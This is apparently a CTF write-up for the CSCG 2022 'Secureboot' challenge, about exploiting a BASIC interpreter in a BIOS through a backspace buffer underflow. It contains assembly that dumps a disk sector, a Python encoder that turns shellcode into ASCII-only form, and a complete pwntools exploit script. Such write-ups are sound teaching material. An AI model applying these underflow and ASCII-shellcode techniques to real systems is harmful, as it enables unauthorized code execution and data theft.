Secureboot - Writeup

Category	Pwn
CTF	CSCG 2022
Solves	12 (junior)
Points	310

Setup

The Secureboot Challenge was unlike most other Binary Exploitation Challenges, since you aren't given one binary, but rather a BIOS on a remote maschine, that accepts a few, pre-defined input binaries supplied as base64.

Finding the Vulnerable one

I had to randomly choose one to start looking for vulnerabilites, here is my reasoning:

Lights - **no**, too much graphic, very little input (only 4 numbers iirc)

fbird - **also no**, since there is only one button we can press that does something

tetros - **possible**, but basic fits even better

basic - **yes!** - we can control several buffers with data and even execute expressions, sounds like a perfect candidate!

Exploitation

I first tried, overflowing the input buffer, but we would have needed 32kb of data to get to the stack (@0xff00, from vars @0x7e00) which is not feasible and therefore I dropped the idea after about 4 hours of trying. My next point of attack sounded more plausible – What do you do if you can't overflow a buffer ? – Right, you **underflow** it!

The basic interpreter is nice enough to give us the option, to delete missplaced characters, so if you typed `CSCT`, you are able to hit backspace and then replace the character by a `G`. We can abuse this behaviour, since there is no check that verifies, that we aren`t deleting more letters than we have typed so far!

(The check should be here before the decrement of the counter)

Where to underflow to?

Ideally we want to gain EIP, control, which is actually not too hard. Right before our variables, are pointers to functions, of which I chose the last one, **system**, which I can now easily replace by going back.

I sent 0x85 `0x08` (backspace) characters, followed by the address of our shellcode.

The big Problem

We have shellcode execution, where's the flag ?! Not yet. Unfortunately, we can only send **ASCII** character (so 0x20 - 0x7f). Luckily I am not the first person to face this problem. This article Ascii shellcode - NetSec as well as this one by Phrack .:: Phrack Magazine ::. gave me the inspiration to write my own packing engine, that later unpacks the real code into another region on the stack.

We want to to get the following assembly code into memory:

```
; Setting things up and loading the flag drive into memory
; (change dx to 0x80 for bootloader iirc)
xor bx,bx
mov es, bx
mov bx, 0xf00
mov cx, 0x1
mov dx, 0x82

;mov ah, 0x2
mov ax, 0x0201
int 0x13 ; Interrupt

; We have now loaded the flag @ 0xf00
; Now loop 512 bytes and print bytes as
; We are using a simpler hex (just 4 bits + 0x30, so
; "0123456789@ABCDE"
mov si, bx ; so we can use lodsb/storeb
xor bx,bx
loop:
    ; read 512 bytes
    cmp bx, 0x100
    je end

    ; loads ds:esi
    lodsb
    mov cl, al
    shr al, 4

    ; Upper 4 bits
    mov ah, 0xe
    add al, 0x30
    int 0x10

    ; Lower 4 bits
    mov al, cl
    and al, 0b1111
    add al, 0x30

    int 0x10

    inc bx
    jmp loop
end:
```

And the packer code (to get the *"bad"* bytes into memory) can be observed below:

```
#!/usr/bin/env python3
from string import ascii_letters,digits
import os

CHARSET = ascii_letters+digits

# TODO: If it is not working on remote, change drive from
# 0x81 to 0x82

#
# This code will generate non-alphanumeric shellcode from alphanumeric
# shellcode (writing it to the stack, then jumping to it)
#

ZERO_EAX = "jXX4X"
FF_EAX = "jXX4XH"

with open("./expl.img","rb") as f:
    final_shellcode = f.read()

test_byte = 0xebe3 # First byte from back

'''
Since the highest bit is set, we can't construct 0xebe3 using only
the xor of two ASCII chars.
1. 0xffff ^ 0xebe3 => 0x141c
2. Finc ascii char combination that produces the above
Here:
`mr  ^ yn` works out to 0x141c

And then:
ff_eax
'''

def switchBytes(b):
    u = b >> 8
    l = b & 0xff
    f = (l << 8)|u
    return f

def template(target,zero):

    upper = (target >> 8 )& 0xff
    lower = target & 0xff

    up_pair = []
    lo_pair = []
    # Generate pair that generates target
    found = False
    for c1 in CHARSET:
        for c2 in CHARSET:
            if ord(c1) ^ ord(c2) == upper:
                up_pair.append(c1)
                up_pair.append(c2)
                found = True
                break
        if found:
            break

    found = False
    for c1 in CHARSET:
        for c2 in CHARSET:
            if ord(c1) ^ ord(c2) == lower:
                lo_pair.append(c1)
                lo_pair.append(c2)
                found = True
                break
        if found:
            break


    if len(up_pair) != 2 or len(lo_pair) != 2:
        print("** Big error **")
        print("Target: ", hex(target))
        print("Up-pair:",up_pair)
        print("Lo-pair:",lo_pair)
        os.abort()

    if zero:
        resp = ZERO_EAX
    else:
        resp = FF_EAX # set eax = 0xffff

    resp += "f5"+up_pair[0]+lo_pair[0]+"XX" # xor eax, YY  [ XX to pad, else fed up
    resp += "f5"+up_pair[1]+lo_pair[1]+"XX" # xor eax, YY
    resp += "P" # push eax
    return resp

def not_hi_bit_word(b):
    target = b
    return template(target,True)

def highest_bit_word(b):
    target = b ^ 0xffff
    return template(target,False)
```

```python
def getCodeForWord(bts):
    print("="*20)
    print("Current: ",hex(bts))
    payload = ""
    if bts >> 15 == 1 and (bts >> 7)& 1 == 1 :
        print("Triggered both-1")
        payload += highest_bit_word(bts)
    elif bts >> 15 == 0 and (bts >> 7)& 1 == 0:
        print("Triggered both-0")
        payload += not_hi_bit_word(bts)
    else:
        print("not-easy to work with ")
        # !! Maybe switch order of the two here !!

        print("Working on lower byte")
        # Lower byte
        lower_byte = bts & 0xff
        as_upper = lower_byte << 8
        if (as_upper >> 15) & 1 == 1:
            print("As upper: ",hex(as_upper))
            payload += highest_bit_word((as_upper>>8)|((0xff ^ 0x10)<<8))
        else:
            payload += not_hi_bit_word((as_upper>>8)|((0x10)<<8))
            print("As upper: ",hex(as_upper))

        # And inc esp (since we also wrote 0xff/0x00 XX)
        payload += "D"

        # And upper half
        print("Working on upper byte")
        as_upper = ((bts >> 8) & 0xff) << 8
        if (as_upper >> 15 & 1) == 1:
            payload += highest_bit_word((as_upper>>8)|((0xff ^ 0x10)<<8))
            print("As upper: ",hex(as_upper))
        else:
            payload += not_hi_bit_word((as_upper>>8)|((0x10)<<8))
            print("As upper: ",hex(as_upper))

        payload += "D"

    return payload

final_payload = ""
while final_shellcode:
    pack = final_shellcode[-2:]
    final_shellcode = final_shellcode[:-2]
    bts = int.from_bytes(pack,"big")

    final_payload += getCodeForWord(bts)

# Calling it
#  Get 0x7dfe into esp, then push 0xfecb
goto_shellcode =  getCodeForWord(switchBytes(0x8270-32))#0x7f01+len(final_payload)+1+
(3*19)+1+4+0x28+4)) # now at top of the stack
goto_shellcode += "\\" # pop esp
# 0xe9c8fe = jmp 0xfec8
# 0xffd0 = call ax
goto_shellcode += getCodeForWord(0xffd0) # Write instruction
goto_shellcode += getCodeForWord(switchBytes(0xfecb))[:-1] # and set [e]ax to address (without
pushing !)

final_payload += goto_shellcode

print("[*] DONE")
print(final_payload)

#print(highest_bit_word(test_byte))
#print(single_byte_highest_bit(0xe3),end="")
#print(single_byte_highest_bit(0xeb),end="")
#print(FF_EAX+"3ooooP")
with open("../shell.code","wb") as f:
    f.write(final_payload.encode())
```

I don't fully remember how it works, but I think it used the xor of two valid bytes to get one that would be considered unobtainable and to set the most upper bit, we sometimes had to **AND** it with a 0xffff we got by first xor'ring something with itself (a^a == 0) and then substracing one.

Getting the flag

Now the only thing left to do, is to

1. Send the unpacker-shellcode
2. Jump to it using our system-trick
3. from there we jump to the unpacked, original shellcode
4. and **read the flag!!**

```
CSCG{cyber_cyber_hax_hax!11!!1}
```

My final exploit script (assumes the unpacker prepared)

```python
#!/usr/bin/env python3
from pwn import *


io = remote("<id>-secureboot.challenge.master.cscg.live", 31337, ssl=True)
#io = remote("localhost", 1024, ssl=False)

io.sendlineafter("[1] PRODUCTION", b"0")
io.sendlineafter("[1] NOGRAPHIC", b"1")


with open("basic.img", "rb") as f:
    boot_loader = f.read()

print("BL-len:", len(boot_loader))

io.sendlineafter(b'[*] End your input with "EOF"',
        (boot_loader.hex()+"EOF").encode())

# Get unnecessary text out of the way ...
for i in range(11):
    print(io.recvline())


# This has some weird f***** problem
#shellcode = b"jXX4XHf5ZZf5NFP"
#shellcode = b"jXX4XHf5ZZXXf5NFXXP"

with open("shell.code", "rb") as f:
    shellcode = f.read()


if b"\x0d" in shellcode or b"\x08" in shellcode:
    print("SHELLCODE contains illegal character!")

LINE = 0x7e80
PROGRAM = 0x8000
END_CODE = 0x7e00

BEFORE_SHELLCODE_BUF_LEN = 0x81

shellcode_address = p16(0x7f01)#p16(LINE+BEFORE_SHELLCODE_BUF_LEN) # LINE with buffer for
"system" call to not overwrite shellcode


print("Shellcode: ",shellcode.hex())
# Setting up shellcode
```

```python
payload = (BEFORE_SHELLCODE_BUF_LEN) * b"\x41"  + shellcode + b"\x0d"
io.send(payload)

pause()

# Spamming 0x8 (backspace) to overwrite system var
# We are trying to go from 0x7e80 down to (0x7e00 - 5)
go_back_length = 0x85
payload = b"\x08"*go_back_length

# Writing our bytes to the return address of the system-statement
print("Shellcode address: ",shellcode_address.hex())
payload += shellcode_address + b"\x01\x55\xaa\x0d"  # The replacement of 0x55aa is not
                                                     # actually necessary, but cool :cool:
print("preload - Payload: ", payload)
print("Length: ", len(payload))

# This will place the shellcode generating code onto the stack and then
# jump there

# Sending it slowly to not lose bytes along the way
pack_size = 0xf
while payload:
    print(f"Send {pack_size} bytes")
    if len(payload) <= pack_size:
        packet = payload
        payload = ""
    else:
        packet = payload[:pack_size]
        payload = payload[pack_size:]

    io.send(packet)
    time.sleep(0.3)

pause()
io.send("system\r")
# Shellcode delivery payload

#print(io.recvall(timeout=1))


def convert_hex(l):
    normal = "0123456789ABCDEF"
    bios   = "0123456789:;<=>?"
    for n_i,b_i in zip(normal,bios):
        l = l.replace(b_i,n_i)
    return l
```

```python
#print(io.recvall(timeout=1))
print("--------")

for i in range(17):
    io.send(b"\r")
    io.recvline()

print("[*] Starting leak")
leak_file = open("./leaked_first_drive.img","wb")
for i in range(14):
    io.send("\r")
    line = io.recvline()[:-3]
    real_hex = convert_hex(line.decode())
    print(real_hex)
    leak_file.write(bytes.fromhex(real_hex))

leak_file.close()


while True:
    try:
        i = input("> ")
        io.send(i.encode()+b"\r")
        print(io.recvline())

    except Exception as e:
        print(e)
        break

io.close()
```